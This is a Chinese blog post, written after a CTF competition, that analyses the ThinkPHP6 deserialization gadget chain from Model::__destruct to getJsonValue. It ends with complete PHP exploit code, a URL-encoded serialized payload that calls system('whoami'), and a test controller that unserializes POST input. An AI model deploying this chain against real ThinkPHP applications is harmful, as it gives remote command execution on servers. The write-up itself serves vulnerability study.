文章目录
-
-
-
- 前言
- 1. 利用链分析
-
- 1.1 反序列化的思考
- 1.2 寻找触发条件
- 1.3 __toString() 挖掘利用
- 2. EXP编写
-
- 2.1 过程分析
- 2.2 EXP编写
-
-
前言
前段时间参加了信息安全国赛,其中有一个题是ThinkPHP6 反序列化,当时只是做了一些简单的审计,最后直接用网上的 EXP 打。现在比赛结束了,所以特地花点时间重新审计一番,小记一下。
1. 利用链分析
1.1 反序列化的思考
在PHP中,反序列化分为有类和无类两种,无类的反序列化利用比较简单直接。有类的时候一般需要挖掘利用链,其中起到关键作用的就是魔术方法,魔术方法是连接利用链的桥梁。
在挖掘反序列化的时候,一般来说首先要找的就是__destruct() ,__wakeup 两个函数
__destruct() // 对象被销毁的时候调用 __wakeup() // 反序列化的时候调用
1.2 寻找触发条件
废话不多说了,知道了入口点以后,现在开始漏洞挖掘,首先寻找入口点__destruct()
- 用Seay全局搜索存在__destruct()的地方
- 然后找可利用的点,在/vendor/topthink/think-orm/src/Model.php中发现__destruct() 调用了save()方法,只需要$this->lazySave 为true 即可,并且这个参数是可控的
/** * 析构方法 * @access public */ public function __destruct() { if ($this->lazySave) { $this->save(); } }
跟进save()方法,关键点如下,需要进入到updateData()函数,要绕过位置1处的判断和$this->exists为true
- $this->exists是可控的,所以关键点是绕过前面的判断
接下来查看$this->isEmpty()函数和$this->trigger()函数
- 查看isEmpty()函数,使用empty()函数对$this->data进行判断,不为空即可,且参数可控
- trigger()函数默认返回的是true,所以也能绕过
- 接下来跟进updateData()方法,只要前面的绕过了,就会来到如下位置
- 所以$this->checkAllowFields()默认就会被调用,继续跟进
- 跟进checkAllowFields()函数,$this->field参数和$this->schema默认为空数组,所以默认会直接调用db()函数
- 继续跟进db()函数,这里的$this->table是可控的,所以可以进入到位置2,并且这里将$this->table当作了字符串使用,如果$this->table是一个对象,那么就可以触发__toString()魔术方法的执行
1.3 __toString() 挖掘利用
上面的分析找到通过__destruct()一步步触发执行__toString() ,接下来继续寻找__toString()函数中可用于利用的点
- 还是全局搜索__toString(),在/vendor/topthink/think-orm/src/model/concern/Conversion.php中找到一个__toString()方法,里面调用了toJson()方法
- 跟进toJson()方法,这里调用了toArray()方法
- 跟进toArray()方法,关键代码如下,这里将$this->data和$this->relation两个数组合并,然后进行遍历,在默认情况下会调用到最下面的$this->getAttr($key),其中$this->data是可控的,所以这里传入的$key也能被控制
- 跟进getAttr()函数,$relation默认为false,然后$value的值从getData()函数中获取,然后将参数传入getValue()函数中
- 先查看一下getData()函数做了什么,这里调用了getRealFieldName()函数(实际上只是对内容进行了一下检测而已),只要内容合法,那么最后返回的$fieldName和$name实际上是一样的
- 然后array_key_exists()函数判断检测后的内容在$this->data中是否存在,实际上可以理解为检测$name而已,只要内容合法,那么就一定存在,所以最后能执行位置2
所以最后传入getValue($name, $value, $relation)函数的$name实际就是$this->data的key,$value就是$this->data中对应的value,$relation默认为false
- 接下来继续跟进getValue()函数,主要如下
- 只要$this->withAttr存在并且是一个数组,然后$fieldName在$this->json中存在,那么就能够执行getJsonValue函数,而且$this->withAttr,$this->json都是可控的
- 所以传入getJsonValue()函数的内容实际上也就是可控的
- 继续跟进getJsonValue()函数,在这里存在变量覆盖,所以会造成RCE漏洞,只需要$this->jsonAssoc为true即可
漏洞分析
- 先来看看PHP中system()函数的使用,查看手册可以知道,system函数是可以传入两个参数的
- 如果$closure是system,$value[$key]就可以当作一个命令执行,并且这些参数全都可控
$value[$key] = $closure($value[$key], $value);
2. EXP编写
2.1 过程分析
上面主要是分析了利用过程,接下来仔细地分析一下参数的传递过程,不然很难理解实现RCE的过程
先来看看__toString()触发过程
Conversion::__toString() Conversion::toJson() Conversion::toArray() //出现 $this->data 参数 Attribute::getAttr() Attribute::getValue() //出现 $this->json 和 $this->withAttr 参数 Attribute::getJsonValue() // 造成RCE漏洞
- 首先出现参数控制的点在Conversion::toArray()函数中,这里如果控制$this->data=[‘whoami’=>[‘whoami’]],那么经过foreach遍历后,传入Attribute::getAttr()函数的$key也就是whoami
- 然后在Attribute::getAttr()函数中通过getData()函数从$this->data中拿到了数组中的value后返回
- 在Attribute::getValue()函数中对withAttr和json参数进行了验证
- 最后传入到Attribute::getJsonValue()函数中的内容如下,在foreach遍历的时候拿到的$key=0,所以$value[$key]也就是whoami,而遍历的$closure也就是system,从而造成了RCE漏洞
接下来分析一下__destruct()的触发过程
Model::__destruct() Model::save() Model::updateData() Model::checkAllowFields() Model::db() // 触发 __toString()
- 首先在Model::__destruct()中$this->lazySave需要为true,参数可控
- 然后在Model::save() 需要绕过isEmpty()和$this->exists参数
- 最后就是Model::db()方法,保证$this->table能触发__toString()
2.2 EXP编写
- 首先看Model类是一个抽象类,而且use了刚才__toString 利用过程中使用的接口Conversion和Attribute,所以关键字可以直接用
- 接下来将刚才需要用到的属性全部重新编写,如下
<?php // 保证命名空间的一致 namespace think { // Model需要是抽象类 abstract class Model { // 需要用到的关键字 private $lazySave = false; private $data = []; private $exists = false; protected $table; private $withAttr = []; protected $json = []; protected $jsonAssoc = false; // 初始化 public function __construct($obj='') { $this->lazySave = true; $this->data = ['whoami'=>['whoami']]; $this->exists = true; $this->table = $obj; // 触发__toString $this->withAttr = ['whoami'=>['system']]; $this->json = ['whoami']; $this->jsonAssoc = true; } } }
- 编写好以后,那么存在一个问题,Model是一个抽象类,然而抽象类是不能被实例化的,只能被继承,所以还需要找到一个继承Model的子类
- 全局搜索extends Model,找到一个Pivot类继承了Model
- 最后得到完整的EXP,如下:
<?php // 保证命名空间的一致 namespace think { // Model需要是抽象类 abstract class Model { // 需要用到的关键字 private $lazySave = false; private $data = []; private $exists = false; protected $table; private $withAttr = []; protected $json = []; protected $jsonAssoc = false; // 初始化 public function __construct($obj='') { $this->lazySave = true; $this->data = ['whoami'=>['whoami']]; $this->exists = true; $this->table = $obj; // 触发__toString $this->withAttr = ['whoami'=>['system']]; $this->json = ['whoami']; $this->jsonAssoc = true; } } } namespace think\model { use think\Model; class Pivot extends Model { } // 实例化 $p = new Pivot(new Pivot()); echo urlencode(serialize($p)); }
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D
- 在/app/controller/Index.php控制器中添加一个操作exp
public function exp() { $ser = Request::post('x'); unserialize(urldecode($ser)); return 'Only_kele_'; }
- 访问没问题
- 接下来POST一个x看看能否执行命令,如下,命令执行成功
声明:本站所有资源,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。